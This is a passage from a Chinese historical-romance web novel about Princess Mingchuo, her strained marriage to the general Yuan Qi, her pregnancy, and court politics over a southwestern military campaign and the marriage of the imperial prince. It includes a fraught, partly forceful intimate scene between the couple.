袁綦还是不作声,但他看着明绰的眼睛里燃起了火,明绰又抬起手,这次袁綦一把抓住了她的手腕。他还是跪在她面前,可是手上的力气好大,抓得明绰发出了一声痛音,他才突然意识到了什么,猝然松了手。然后他站起来,好像再多留一刻就要控制不住了,转身想往外走。
明绰在他背后喊:“你敢走试试看?”
她不知道为什么要这样威胁他,甚至不知道留他下来要说什么。但就是要阻止他,无论袁綦现在想要做什么,她都不让。她就是不能让袁綦痛快。
袁綦果然站住了脚,站在那里,深深地吸了两口气,然后才低声道:“长公主不必自苦,以后定然还是能回洛阳,与大燕先王合葬,臣不会阻拦。”
明绰愣了一下,没想到他会突然说这个:“什么?”
袁綦转过身来,看着她:“你不就是想跟他死在一起吗?”
沉默。然后明绰空洞地笑了一声,好像觉得他很荒唐。笑声一出口,就再也停不住了,她笑得几乎喘不上气,头晕目眩。
袁綦看着她笑,又道:“臣也是要和楚氏合葬的。”
明绰终于不笑了。她似是倦极了,摆了摆手:“恕颐才不想见你。”
“她是我的发妻……”
“发妻?”明绰打断他,声音古怪地扬起来,“她活着的时候,怎么没见你这样一往情深哪?”
袁綦咬紧了牙关,不肯说话。明绰走近了两步,咄咄逼人:“她是你的发妻,你却偷偷藏我的帕子?捡我的耳环?是谁趁夜跑进我屋里的?你那个时候怎么想不起来你有发妻啊?你现在演给谁看啊?……哦,报复我?”
“臣不敢。”
“你是不敢!”明绰骂他,“你但凡敢拿着剑,去杀了你父亲,就算给恕颐报仇了……你凭什么欺负我?就我最好欺负,是不是?”
她没有想哭,可是眼泪控制不住,浑身都发着颤,往他身上打。袁綦身上还穿着甲,她的手掌落到他冰冷的胸甲上,打得她自己好痛。袁綦又抓住了她的手腕。
明绰还在骂:“你凭什么就怪我一个人?袁增逼你,陛下也逼你,你怎么不敢恨他们?”
她逼近了袁綦,酒气吐出来,熏得袁綦双目赤红。
“你不敢,我敢。”她说得一字一顿,“我告诉你,我最恨的就是皇兄……”
袁綦很轻地唤了她一声,似是还想让她留存一些理智:“长公主。”
“别这样叫我了!”她的声音像一根弦,突然彻底绷断了,“我也知道我对不起她!我要是早知道晔儿是这样,我何苦还做这一切……”
袁綦落了泪,伸手抱住她,明绰激烈地挣扎起来,可是袁綦就是不放手。
“你放开我!”明绰用尽了全身力气,咬牙切齿地用言语来攻击他,“凭什么你都不敢去给她讨个公道,却来责怪我!你别碰我!我也恶心!放手——”
可是袁綦没放开,他突然非常用力地吻住了她。明绰立刻抿紧了嘴,浑身都在抗拒。可是袁綦这次非常执着,一只手摁住了她的后颈,不让她逃。明绰急了,狠狠地咬了袁綦一口,她一定把袁綦咬得很疼,可是他还是没肯放开,反而更用力地唇齿厮磨,一定要撬开她的齿列。明绰感觉到一股带着铁锈气的淡淡血腥在舌尖弥漫开,终于僵硬着松开了牙关。
“你也恶心?”袁綦依在她唇边,重复了这四个字,重音落在“也”上。
明绰看着一丝血迹飞快地从袁綦下唇渗出来,心里终于觉出了几分痛快,恨不得要看袁綦流更多的血才好。
“她都告诉我了。”明绰压低声音,“每次你碰她,她都觉得恶心,你还想跟她合葬……”
袁綦再次用唇封住她,明绰想打他,但他一只手就制住了明绰两只手,轻轻一扯就拉开了她的衣服。她被逼得一步步往后退,小腿抵到了榻上,然后一下子失去了平衡,原本就已经挣扎歪了的发钗彻底脱落。袁綦被她带着,只靠一条膝盖撑在榻上,勉强用手撑了一把,居高临下地看着明绰的长发在榻上铺开。
没有人说话,明绰也不再骂了。袁綦直起腰,开始脱他的甲。明绰用手肘把上半身支起来,原本就已经被袁綦扯松的衣服马上从肩上垂落。袁綦没忍住俯身吻她的肩膀,明绰感觉自己手指都是麻的,却还是精准地摸到他甲下的系带。她为什么会对男人的甲如此熟悉?袁綦充满怨恨地在她肩膀上咬了一口,突然问她:“你也是这样给乌兰徵脱甲的吗?”
这还是他第一次敢直呼乌兰徵的名讳,明绰抬头看了他一眼,好像忍住了什么,没说出来。她把袁綦的肩甲脱了下来,胸甲也落下,撞在榻边,发出沉闷的声音。袁綦两只手把住她的腰,轻轻巧巧地把人整个翻了过来。
明绰没忍住闷哼了一声,但尾音被袁綦吞掉了。他一只手从她颈下缠上来,托着她的下巴,强迫她以一个别扭的姿势转回头,和他接吻。他的唇间还有那股血腥气,被她咽下去,一路灼痛她的五脏六腑。刚才喝下去的酒在她体内被煮沸了,明绰的手指紧紧地抓住一块布料,那应该是她还没有被完全脱下的衣服,但那是衣服的哪个部分,她完全分不出来。袁綦的手便覆盖下来,从她的指缝嵌进去,握紧她的手。明绰不得不放开那块可怜的布料,终于没忍住叫了他一声:“袁綦,我疼……”
袁綦停了下来,突然把她抱了起来。更多的衣物在往下落,她刚才喝下去的酒都变成汗和眼泪,蒸出来,蒸得两个人都是湿淋淋一片。她还是疼,可是她也没有让袁綦停下。她只是一遍一遍,非常委屈地指控他:“连你也欺负我……”
怎么可以连你也欺负我。
袁綦始终没有回应她这句话。
在寿阳停留了五日之后,军队终于重新启程。抵达建康的那一天,已是深秋。袁綦进宫复命,明绰却直接回了公主府。等着她的是无数的赏赐,马上就是万寿,那不是萧盈真正的生辰,但确实是她的。萧盈用这样的方式表达见到她回来的心情,却只是让明绰感到更加痛苦。她收下了,只打发了阴青蘅去谢恩,自己没肯露面。她现在不想见到萧盈。她不想见到任何人。
她觉得自己病了,就像五年前刚回到建康的时候那样,一点儿力气也没有,整日困倦,只想一直一直睡下去。万寿当天,她也称病不肯进宫赴宴,于是萧盈派了卞弘来公主府看她。
在明绰满三十四岁的那一天,她发现她怀上了袁綦的孩子。
第154章
萧盈走回殿中,习惯性地把头上的冕旒先拆下来,随手抛给了任之。两个女史低着头上前,一左一右,动作熟练而又迅捷地摘去他腰间所有的环佩玉珩。另一个身量足够的内侍则跟在他身后,从他肩上褪下了厚重的大袍。萧盈似是被这些东西压得喘不过气来,刚从太极殿下来,就一刻也穿不住了。
尽管几个重臣还都在外面等着,但他们都知道规矩,让陛下先歇口气。
任之把茶端上来,小声通报了一句:“长公主到了。”
萧盈点了点头,并不意外的神情,是他召妹妹入的宫。但他换常服的速度稍微快了一点儿,没让明绰等太久,就抬抬手,让把人都召进来了。
明绰跟着三台诸部的重臣们一起趋步进殿,准备叩拜行礼。人还没跪下去,萧盈已经制止了她:“你不用多礼了,过来坐。”
她虽是长公主,但袁增是她家君,谢聿是她亲舅舅,她还是站在了他们身后。陛下突然说了这个话,几人都是一愣,自然不敢以为陛下是在对他们说话,都微微侧身,看着长公主缓步从他们身边经过,真的去坐在了陛下身边。
桓廊垂了眼,笏板遮住了面上的表情,跟站在身侧的陈缙交换了一个眼神。曾经陛下还避忌一些,长公主是不能与重臣同席
的。后来长公主嫁了袁綦,时常与袁增在含清宫同进同出,已经不成体统。自从长公主从洛阳回来,是更不得了了。
但萧盈根本没管他们在想什么,明绰刚有了身孕,怎么能让她跪。明绰也没跟皇兄讲究这个礼,大大方方地坐了,看着桓廊他们不情不愿地行完了面君的大礼,倒像是也跟着一起跪了她。
萧盈这才把刚才太极殿上没说完的话又提起来:“接着说吧,雅隆人怎么办?”
最近朝上议的主要就这件事儿,西南的雅隆人犯边。他们也是大雍的世仇了,隔上十几年的就得打一回。上次还是谢太后在的时候,打得挺狠,所以后来雅隆王记恨大雍,藏匿了羌人余孽,到现在羌人的皇室还是雅隆的座上宾呢。这是攒足了力气,气势汹汹地来复仇了。
袁增立刻进言:“袁綦愿为陛下领兵。”
萧盈头都没抬就否了他:“仲宁就算了吧。”
他一边说话,一边抬头看了明绰一眼,两人视线轻轻一触,明绰就知道萧盈今日为何要召她入宫了。袁增是估摸着袁綦都出使洛阳回来了,那压在他头上那个莫名其妙的禁令也可以解了,这就着急要为儿子再谋前程了。
萧盈敛了敛袖,顺手把一碟蜜饯往明绰那边推了推,不动声色地转开了视线,只道:“西南山多,瘴气多,蛮人又凶。就算东乡舍得驸马,朕也舍不得。”
桓廊也道:“不如将桓湛从宿州召回来——”
可他话还没说完,明绰已经打断了他,对萧盈笑道:“皇兄怎么把我想得这么不识大体?”
萧盈转回脸来,有些意外地看了她一眼。但明绰微笑自若,并无异色。萧盈的眼神落下来,从她腹部一掠,似是提醒她什么。但是明绰只当没看见:“雅隆人凶,难道当年纥骨勃斤的人就不凶了?仲宁能打他们,怎么打不了雅隆人?”
袁增马上跟了一句:“长公主所言极是!”
“可你……”萧盈刚开了个口,但是明绰马上给他使了个眼色。她有身孕的事情还没什么人知道。萧盈只好闭了嘴,又问袁增:“怎么不让伯彦去?”
明绰仍是笑着:“皇兄不都说了么?西南山多,瘴气多……伯彦腰上有伤,哪里禁得住那种湿气,大将军摆明了偏心,皇兄就不要戳破他了。”
袁增知道她有意解围,也跟着笑了一声,行了个礼,算是认了。明绰看了看桓廊的脸色,又轻轻巧巧地补了一句:“令君,桓湛的身子骨可还好吧?他怕不怕瘴气?”
桓廊只好应声:“他是不怕……呃,陛下——”
明绰还是没让他把话说完:“桓湛家学是有的,但终究是少些实战,也是时候让他去历练历练了。他虽年纪比仲宁长了几岁,但军功是比不上的,让他做仲宁的副将,想来也不算是委屈了他……皇兄觉得如何?”
桓廊收声收得太急,险些咬着自己的舌头,一时脸色难看得很。他十分不满长公主这样干涉朝政,但她又是在替桓氏争取,所以他竟也不知道是该反对还是该应声,憋得脸都快紫了。
萧盈也不知道明绰葫芦里卖什么药,一时未置可否,但他未出声阻拦,明绰就接着往下说:“我还有一点儿私心,想再跟皇兄荐一个人。”
“谁?”
“谢运。”
这下轮到谢聿一下子抬起头,露出了跟桓廊差不多的神情。长公主这还是头一次替谢家人说话。
萧盈也很意外:“谢维的儿子?他在幽州。”
“可他是个将才啊。”明绰很讲道理的口吻。谢运自小就跟着谢维上战场,当初与乌兰徵一起夹击拔拔真,他也在袁军帐下。此战之后,谢维虽然随袁增撤军,调回了建康,谢运还是继续留在幽州驻守。后来萧盈派袁綦去幽州,他是袁綦的副手。按说谢运这么多年早该升了,还是陛下对谢家不冷不热那个态度,他父亲又是当年直接参与过谢太后谋反的,所以就这么扔在幽州。
“拓莫阙老了,已不再驻守辽东,北边相安无事,陛下把这样的将才丢在幽州,岂不浪费?”明绰怕她自己说不够,又转向袁增,“大将军是知道谢运之才的。”
“是,”袁增再次应声,“谢运此人是有些过人的智计,尤擅因地制宜……”
他边说边看了明绰一眼,显然长公主根本没有跟他通过气,他也没想到长公主连谢运有才都知道。
萧盈把众人的反应都看在眼里,似是觉得好笑,低下了头,一声未作。在场的三大姓,她倒是一个都没落下。
但萧盈转念一想,袁綦勇武,能当大将,但毕竟没做过全军主帅。桓湛少实战,但常年在宿州大营,掌管着大部分的执金吾卫,治军他行。谢运善谋,可做智囊。安排他们两做袁綦的副手,倒确实不是明绰随口胡说的。
萧盈没有立刻表态,暂且搁置,议别的事情。但其实大部分要紧的都已经在今日的朝会上说完了,要私下里谈的除了雅隆犯边,就是封皇长子为平阳王一事。谢聿今年给萧稷求了一整年,萧盈就拿“长幼有序”搪塞了一整年。搪塞到后来,重臣们便也觉得,确实是早该给皇长子封王了。
封王就是一道旨意的事儿,但在京中赐邸,设何人为平阳王属官等等杂事,可就有的说了。谢聿自知在军务上说不上话,方才一直保持沉默,这会儿了话就多起来了。他也丝毫不掩饰自己的心思,认为皇长子十五岁才封王,那没几年便要就藩的,不必那么麻烦了。
并不只是他作为皇三子的太父这样去想,其余人也是这么想的。平阳王的种种古怪之处,到今日都被认为是心智不全,一个傻子,要给他配属官做什么?有什么好辅佐的?——只是没人敢在萧盈面前这么说。陈缙打个圆场,意思是该配的还是得配齐,但给出的都不是什么像样的人选。
萧盈还以为明绰会为秧儿说上两句,但她也保持了沉默。好像她心里也有一杆秤,随时把握着那份尺度。今日在军政上的多言已经差不多到某些人的极限了,她见好就收。
她也不替萧秧说话,谢聿就又进了一言,说既然封王赐邸,就可以给皇长子娶妻了。明绰听到这儿才抬了抬头,总觉得舅舅没安什么好心。果然,谢聿一张嘴,就是要把卢氏女许给皇长子。
卢氏是谢家的姻亲,不算辱没了皇长子,但谢聿的心思,显然还是想阻止平阳王娶袁氏女。
袁增又看了一眼长公主,等她表态。平阳王的资质实在是不好说,若没有长公主明确地站在他身后,袁家倒也不是非要上赶着嫁女。但他还没等到明绰说什么,萧盈就抬了抬手,让谢聿别说了。
“今日没让你们来议朕娶媳的私事。”他神色淡淡的,“秧儿父母俱在,自有我们替他物色,不劳烦中书令说媒拉纤。”
谢聿只好退了一步:“是。臣僭越。”
萧盈摆了摆手,示意他们都下去。但长公主还是端坐着没动,指间衔了蜜饯正吃,显然还有话跟陛下私下说。但是等人都退下了,明绰也不开口。萧盈看她沉默,主动问了一句:“这两日觉得如何?”
明绰知道他在关心什么,抓紧时间拣她喜欢的蜜饯和炒豆子吃:“还吃得下饭。”
她准备好了又和当年怀晔儿一样,吐得昏天黑地,什么都吃不下,可是这个孩子比兄长要懂事得多,没太折腾她。明绰欣喜,又难免夹杂了许多酸涩。现在回想,也许她和晔儿之间从一开始就是注定好的。
萧盈又问:“睡得如何?”
明绰就笑了:“罗太医没有跟皇兄说吗?”
那是太医署里最长于妇人妊娠的一位,萧盈派了他去公主府,日日替明绰看着这胎。明绰想起来就觉得好笑,卞弘第一时间就回来禀报了陛下,所以萧盈比袁綦还早知道她有了身孕。他早已做了父亲,也比袁綦更知道明绰会如何不适。
还派太医——皇后怀着萧稷的时候都没见他这样过,这情形,倒像他才是这孩子的父亲。
萧盈便叹了口气:“大雍自有良将,你才刚有了身孕,怎么能派仲宁出去……”
“有什么不能的?”明绰不为所动,“他留在我身边又有什么用?是能替我怀还是能替我生啊?”
萧盈轻轻皱了眉,无言地打量着她。当初成婚的时候,他气得恨不得亲手把袁綦杀了。如今好不容易气也消了,终于接受了此事,她却这样的口吻,萧盈一时都不知道他到底该作何感想。
“仲宁他……”萧盈斟酌着词句,“待你不好吗?”
明绰掀起眼皮看了他一眼。当初她非要萧盈下旨夺了袁綦的军衔时,萧盈也说过会令他们夫妻不谐,按说这会儿就算为了个面子,也得在皇兄面前假装一切都好,可偏偏她没这兴致。托了腮,歪着头看着皇兄,只道:“哪个男儿不想建功立业?他又不敢怨皇兄,只好怨我了。”
萧盈眼神幽深:“现在还在怨你?”
明绰挑了挑眉,什么也没说。她不知道袁綦怎么想的,现在他有点儿手足无措,可能是因为那天被明绰那样骂了一顿,真的想明白了什么,也可能只是因为第一次要做父亲。他有一些笨拙的示好,前两天表示不想再分房而居了,结果被桓宜华骂了一顿,说他没个轻重。明绰知道桓宜华是误会了他的意思,但她也懒得替袁綦分辩什么。
这个孩子来得很意外,但这个时机,让她很难不觉得是老天重新给了她一个机会。她好像一瞬间就把所有被晔儿推开的感情都转移到了腹中这个孩子身上,于是半点精力都不愿意花在去琢磨袁綦是怎么想的。她不想再继续跟他置什么气了,也不需要他的陪伴或者安慰。让他去建功立业吧,明绰真是看够了他那副样子。
“皇兄,”明绰有意软了声调,哀求什么似的,“就当是为了这个孩子,别再为难仲宁了。”
萧盈被她这副样子气笑了:“倒打一耙。”
是他要为难袁綦的吗?不是她自己吗?可是明绰歪着头,似笑非笑地看着他,像是无声地问他,难道他就没有为难过吗?于是萧盈也不说了,草草地点了点头,算是答应了。
明绰笑起来,又道:“还有一件事。”
萧盈手里正给她剥豆子,“嗯”了一声,让她说。
“皇兄赏个恩典,让漪澜跟着秧儿移居平阳王府吧。”
萧盈的手顿了顿,抬起头看着她。敬夫人有封号,是承华宫的主位,除非萧盈驾崩,不然按制,她是不能跟着儿子出宫的——敬漪澜之前指望着跟儿子出宫,说得不好听一点,就是没想到萧盈还能活到这会儿。
“不行。”萧盈没答应。敬夫人与宋家的关系说不清楚,若是出了宫,她要去见长子,定有好事者编排,到时候损的是皇家颜面,对平阳王也不好。萧盈剥豆子的动作没停,只道,“急什么,等朕不在了,没人拦她。”
“可是皇兄福寿万年,漪澜要等到什么时候去呀?”明绰张嘴就开始瞎哄,说得萧盈都没忍住“哼”地笑了一声,把剥好的豆子往她嘴里一送,想堵她嘴似的。明绰两下嚼了,不依不饶地又劝:“皇兄是慈父,顾忌着秧儿,我都知道。可是秧儿这个情形,让他骤然离开母亲,搬去都是生人的平阳王府,他受得了吗?皇兄就不想想这一层吗?还是……”明绰有意顿了顿,语气酸溜溜的,“你舍不得她呀?”
萧盈便长长地叹出来一口气。明绰就是这样,袁綦是她要嫁的,他们之间也是她不肯要的。但等有所求了,就拿这点儿感情来挟制萧盈。问题就是回回奏效,萧盈拿她一点办法都没有。尤其是她现在从洛阳回来了,她和儿子之间的事情,她还是怪萧盈的,可她现在不说了。萧盈就知道,自己这辈子都是欠她的。
“知道了。”他应得不情不愿,“朕来想办法。”
明绰这才心满意足地站起来:“多谢皇兄。”
她求的事情都说完了,便要走。萧盈本还想再留她一会儿,转念一想,又怕她再提什么拒绝不了的事情,赶紧摆摆手,让她走了。明绰觉得他这副样子好笑,走出去的时候都是一脸的笑意,然后在突然看到皇后母子的时候一下子全部冻住了。
谢星娥亲自抱着萧稷,身后跟着几个宫人,端着补品,显然是来看陛下了。皇长子新封了平阳王,她最近很殷勤。只是长公主跟陛下私下在说话,任之吃一堑长一智,说什么都不肯放皇后进去。谢星娥一看到是她出来了,脸色马上也不好看了。
“我当陛下是在见谁呢。”她转过脸,意有所指地瞪了任之一眼。任之垂着头,只当自己是尊木雕。
萧稷认识明绰是谁,在母亲怀里“咿咿呀呀”地叫。小孩子不懂大人之间的暗流涌动,只知道对着姑母笑,晶亮的口涎从唇边挂下来。明绰现在看谁家孩子都觉得可爱,一时脸上没绷住,也朝他笑了笑。谢星娥却保护意味极重地把儿子护住,明绰心里立刻升起一股不适,但也没说什么,敷衍地行了个礼,就准备走了。
“姐姐,”谢星娥在背后叫了她一声,“你当日不是说过不会再来含清宫来吗,怎么如今又来了?”
明绰脚下顿了顿,只花了很短的一瞬间,就放弃了克制自己,转过身笑盈盈地看着她。
“你当日还说过自己会死呢。”
谢星娥的脸一下子就变了:“你!”
“皇后!”任之吓得不轻,赶紧拦了一下,“陛下还等着呢……”
明绰便冷笑了一声,再也不理睬谢星娥的怒火,转头走出了含清宫。
第155章
明绰转头又去了一趟承华宫,但是萧秧竟然不在,而且他留给母亲的说辞是,去公主府看姑母了。明绰跟满脸惊讶的敬漪澜对视一眼,然后同时笑得停不下来。
“也未必是撒谎,”明绰还想着给他圆一圆,“这孩子从来不会撒谎的,可能是正好跟我错开了吧。”
敬漪澜便一副“儿大不由娘”的神情。萧秧是从来不会撒谎,但是袁韶音会教啊。她倒也没生气,只是有些哭笑不得:“我还叫他给你带了东西呢!”
“什么?”
“也没什么,怕你胃口不好,做了些枣泥糕而已。”敬漪澜想了想,又道,“他别为了交差,都自己吃了!”
明绰觉得窝心,
唇边的笑意更深,跟她打趣:“他未必自己吃,都省给你儿媳妇吃了!”
敬漪澜闻言就摆了摆手,不接她这个话茬。
“不说这个,”她抓着明绰的手坐下,只问她,“你怎么样?”
明绰还能从洛阳回来,她的惊喜和意外丝毫不逊于萧盈。没有人比她更清楚明绰为了回到儿子身边做了多少,所以敬漪澜认定了她是不会再回来的了。她没说什么,甚至连挽留和不舍的话都没有一句。只是长公主出发去洛阳之前,敬漪澜托儿子送去了一个小小的香囊,是她自己绣的,算是相交一场,留个念想。
明绰想到这个就觉得心里酸软。这两年,她自然是与桓宜华来往得更勤些,也不是说桓宜华哪里不好,但她毕竟还有一层阿嫂的身份,比如她就从来不希望明绰真的留在洛阳。真正最懂明绰的,其实还是敬漪澜。
从洛阳回来的时候,明绰满心的无所适从,五年了,她做的一切都是为了能回到晔儿身边,如今只有竹篮打水一场空。直到进了宫,见到了敬漪澜,才终于觉得,建康还是有值得她回来的人在。
“我没什么……”明绰懒得再答一遍吃得如何睡得如何了,先着急跟敬漪澜讲了一遍方才见到谢星娥的情形。敬漪澜听得又是笑又是叹:“你这张嘴!”
明绰犹不解气似的:“我还不够给她颜面吗?你是没听到中书令刚才……”
她说到一半,又咽下去了,只道:“反正她和舅舅都是痴心妄想,我定是要让秧儿和韶音都称心如意的!”
话又绕回这上头了,敬漪澜也只好沉默着笑了笑。桓宜华未必舍得女儿,袁家也未必看得上萧秧,她心里都有数。最近袁韶音都很少来承华宫了,敬漪澜是极有自尊的人,方才连跟着明绰开一句姑娘家玩笑都不肯,这会儿就更不能说什么了。
明绰知道她的性子,便把这个话头揭了过去。她也不说今日去求了恩典,想着等圣旨下来的时候给敬漪澜一个惊喜。今日是朝会还没散就有人去请她,然后又在含清宫里说到这会儿,明绰还没吃饭,就在敬漪澜这里蹭了两口。但一直到饭都吃完了,萧秧还是没有回来。明绰便告辞出了宫,回了公主府,刚进门就问阴青蘅,平阳王殿下是不是来了。
“长公主会未卜先知不成?”阴青蘅让她吓了一跳,刚要禀报呢,“来了,在左院里……”
明绰抬脚就往里进,阴青蘅跟在身后,掩着笑意又补了一句:“跟大姑娘在一块儿呢。”
明绰嘴里便是轻轻的“啧”一声,只道:“别又让她娘看见。”
自从知道她有了身孕,桓宜华可以说是彻底搬进了公主府。好在阴青蘅说的那个也不是内院,明绰走到连廊的月门前就特意放轻了脚步,看见两个孩子都在树下,袁韶音别别扭扭地拧着脸,竟是在哭。萧秧站在旁边,脸上没什么表情。
明绰转回头用眼神无声地问阴青蘅,这是怎么回事儿。但阴青蘅也只有困惑地摇头,刚才还好好的呢。
然后袁韶音就抽着鼻子解答了两人的困惑:“你别在这儿烦我!娶你的卢卿芳去!”
明绰:“……”
小小年纪,消息这么灵通呢。
但她跟萧秧发这样的脾气,委实也是为难萧秧。他什么都不肯说,但是袁韶音让他走,他也没走。袁韶音一拳头打进棉花里,越想越气,竟然蹲下来放声大哭。萧秧看她哭成这样,才硬是逼着自己似的,吐出来几个字:“我不认识她。”
他也蹲下来,手伸出来,想拍拍袁韶音的肩膀,又不敢,犹犹豫豫地往回收。半天也只能又重复一遍:“我真的不认识她。”
在萧秧的逻辑里,他都不认识卢氏女,怎么可能会娶她?但是袁韶音已经到了明白婚配不必相识的年纪,所以他这个话一点力道都没有。更何况,这话是她太父今天从宫里回来以后说的,就是说给她听的,还能有假?袁韶音小小的自尊心被刺痛了,她都没答应过要嫁给萧秧,怎么能是萧秧先去找别人呢?
“你跟父亲一样,都是负心人!”袁韶音恶狠狠地把人一推,推得萧秧一屁股坐在了树下的泥地里,然后她转身就跑。
明绰手忙脚乱地想躲,但是阴青蘅就站在她身后,把她的路都堵上了。袁韶音跑过月门,险些撞到她身上。明绰只好露出一个笑脸,叫了她一声:“韶音……”
袁韶音也不理她,哭着又跑了。萧秧总算追了上来,衣服上沾了一大片的泥,看见姑母,居然停下来给她行礼。然后又想起来什么,蹬蹬蹬地跑回树下,捡起被他放在地上的一个食盒。
“姑母,”他把食盒递给明绰,“娘让我拿来……”
明绰简直想再打他一记,也不等他把话说完:“还不去追!”
萧秧让她教训得一激灵,赶紧追上去了。明绰打开食盒看了一眼,果然是枣泥糕,又觉得哭笑不得。但是看着两个孩子的背影,她琢磨了一番,突然又问阴青蘅:“她为何说她父亲是负心人?”
阴青蘅把食盒从她手里拿过来,朝她露出了一个尽在不言中的表情。明绰让她的表情逗笑了,一边抬脚往自己屋里去,一边解释了一句:“她从前也没这样说过。”
袁煦纳妾已是好多年前的事儿了,李氏的儿子比袁博还大呢。明绰也是后来才从桓宜华那里听说了,还是桓湛心疼妹妹,去宿州之前,跟袁煦打了一架。什么苻氏、李氏的,就既往不咎了,但以后再也不许朝三暮四。袁煦答应了桓湛的,所以这些年里都很消停。
桓宜华把女儿保护得很好,很多事情是不让她看到的。她对苻氏、李氏都很好,那两个妾室为人也忠厚,回报了她的善意。但桓宜华并不是图那个贤妻的名声,她只是不想让她的孩子们在一个明争暗斗的环境里长大。
袁煦感念桓宜华的这份大度,对袁韶音也是偏爱有加。明绰从来没听见这孩子说过她父亲一句不是的。
“小时候不懂,”阴青蘅在她手边搀了一把,一面笑着打趣,“现在自己情窦初开了,就懂了吧。”
明绰琢磨了一下,倒也说得过去,就抛到了脑后。回房间之前要经过袁綦那屋,他的门开着,明绰从外面就看见桓宜华跟袁綦在里头说话。听那动静,像是桓宜华在教训他什么。袁綦在阿嫂面前是从来不敢顶嘴的,就杵在那里低着头听。看到明绰回来了,桓宜华才停了下来,但意犹未尽地瞪了袁綦一眼,好像还没骂痛快。
明绰一边走进来一边打量着两个人的脸色,心里觉得好笑。她这公主府还真是热闹。
她只当没看见,推门进了自己屋。桓宜华就在袁綦身上拧了一下,推了他一把。袁綦赶紧快步跟着明绰进了屋,看起来相当紧张,都快同手同脚了。阴青蘅非常识相地退了出去,顺手给他们把门带上了。
明绰也没赶他,自己把食盒里的枣泥糕拿出来,摆在桌上,抬头问了他一句:“吃不吃?敬夫人亲手做的。”
袁綦看了她一会儿,点了点头,陪她坐了下来。明绰似是随口一问:“桓姐姐跟你说什么呢?”
“她不许我出征。”
明绰掰枣泥糕的手顿了一下,然后就明白了什么:“你们今日回过袁府了?”
“父亲差人来唤了。”
明绰“哦”了一声,把一小块枣泥糕放进嘴里,什么也没说。袁綦看了她一会儿,承诺什么似的:“我不去。”
“干嘛不去?”明绰笑了,“我好不容易才在皇兄那里替你求来的。”
“我想陪着你。”袁綦看着她,“陪着孩子出生。”
明绰还是笑:“桓姐姐怀着韶音的时候,伯彦不也是接了圣旨,说走就走了?你事事想跟阿兄看齐的,怎么这会儿不肯学他了?”
袁綦轻笑了一声,只道:“所以让阿嫂骂得这样呢。”
明绰抬起头认真地看了他一会儿,轻声道:“我和桓姐姐当年不一样。”
那时候桓宜华还很年轻,她第一次怀孕,难免害怕无措。又是执意嫁给了家里不同意的人,当年桓殷仍在世,虽然捏着鼻子认了这门亲,但是总摆脸色。桓宜华的父亲是几个兄弟里最没出息的,哪里敢违逆了当年桓大将军的心意。所以连桓宜华有了身孕,她母亲都没敢来袁府照料。
但更重要的是,桓宜华当年一心爱着丈夫,所以才那样希望他在身边,看着他们的孩子出世。
明绰特别理解这种情绪,当年怀着晔儿的时候,她也是比任何时候都需要乌兰徵。可是现在看着眼前的人,实在找不到那种相似的心情了。
她不知道是因为更爱乌兰徵一点,还是年纪渐长,就是不会再有这样的无措了。她对袁綦有过强烈的愤怒和歉疚,也有过缱绻的依恋,甚至是阴暗的毁灭欲,此刻好像都淡了。就是觉得他离开了也没什么关系,毕竟当年乌兰徵也已经证明了男人没有什么用。比起袁綦,她更想要桓宜华和敬漪澜的陪伴。
“照顾我的人有这么多,”明绰放下了枣泥糕,“你也看见了,太医都来了,桓姐姐都几天没回去了……放心吧。”
嘴上说的是要袁綦放心,但袁綦还是从她的语气里察觉到了那份不动声色的推拒。袁綦
轻轻皱了眉头,想握她的手,但是明绰好巧不巧地把手从桌上收了回去,交错着拍了拍,把指间沾的枣泥糕碎屑拍掉。
袁綦的手有些尴尬地留在桌上,半晌,轻声说了一句:“从前是我对不起你。”
明绰像是压根没听见这句话,捻了捻指尖,还是觉得有点儿黏黏的。她不知道说这个还有什么意思,她也对不起他。她就是厌倦了这种彼此的亏欠,怨恨和折磨,才希望他离开的啊。
袁綦好像看出来她在想什么,终于把手放了回去,良久,又问了她一句:“若我奉旨出征,还能回来吗?”
明绰眉间一跳,马上“嘶”了一声:“你说什么——”
“回到这里,”袁綦补了一句,“回到你和孩子身边。”
明绰一时没有作声,于是袁綦便像明白了什么似的,低头自嘲似的笑了笑,站起来,轻声道:“你休息吧。”
他转过身要走,明绰一直沉默着,看他走到门口了,只觉得有什么活物突然从她胸口伸出来,狠狠捅了她的喉咙一下,她还没来得及阻止,已经站起来脱口而出:“仲宁!”
袁綦转过来,看着她。
要平安回来。我和孩子会等你。我要以前那个少将军回来。好几句话同时在明绰舌尖上滚过去,但她一个字也没说出来。袁綦还是看着她,然后他突然往回走了几步,一下子把明绰搂进了怀里。他抱得好紧,恨不得要把她揉进自己的骨肉里。明绰被他抱得快要喘不上气,两只手下意识地环上了他的腰,被迫仰起了脸,一行眼泪无声地滑下来,迅速落进她的鬓发里,没有被袁綦发现。
第二日,圣旨便下达。复袁綦为骠骑将军,敕封镇南将军兼都督益州军事。桓湛与谢运皆受召回京,不日,兵发西南。
第156章
建康一入冬,萧盈就又病了。
现在明绰怀着身子,萧盈就没让她进宫来,怕过了病气给她。倒是萧秧现在长大懂事,知道主动地去含清宫里侍疾。侍候了没几天,含清宫里便突然单独召见了袁煦。召见了又没什么事儿要议,就是跟他拉扯些家常,谈论儿女,把袁煦说得一头雾水,诚惶诚恐。
萧盈也是好多年没有跟袁煦这样不论君臣了,迂回了半天,才总算把话说出来——儿子求到他跟前了,想娶袁家的大姑娘。
萧盈对袁韶音当然没有什么意见。她刚出生的时候,袁煦奉了皇命一直在荆州驻守,萧盈就觉得有些亏欠了桓宜华。他也知道桓殷小气,桓家不肯来照看,那会儿就特意出过几次宫,让桓湛陪着去看过她们母女——他比袁煦还更早抱过袁韶音呢。
后来他自己有了玉含,就一直想着让袁韶音进宫来陪着他的女儿,就像袁煦当年陪伴过他一样。但是玉含没活下来,萧盈就再也不提了。他后来也没什么机会见到袁韶音了,总觉得心里不是滋味儿。
袁煦听到这里就垂头叹气,陛下这些年已经很少提及早夭的平康公主,但那始终是他心里一道疤。当年陪他喝过的酒,流过的眼泪,仍历历在目。
两人说到这会儿才终于不像是君臣之间的奏对。萧盈跟袁煦说了实话,他没马上答应儿子,就是还想给袁煦一个拒绝的机会——毕竟,秧儿多少还是有些不正常的,他不想一道旨意下来,毁了韶音一辈子。
萧盈都这么说了,袁煦感动得眼泪都要下来了,当即一口答应下来。萧盈却只是笑着摆摆手,让他回家去问问夫人的意思,再来答复。
“你夫人的脾气可不是好相与的。”萧盈跟他开玩笑,“韶音是她的心尖上的肉,你要是问都不问她,她可跟你没完。”
袁煦似是抱怨:“宜华现在整天都在公主府,臣也得见得着她。”
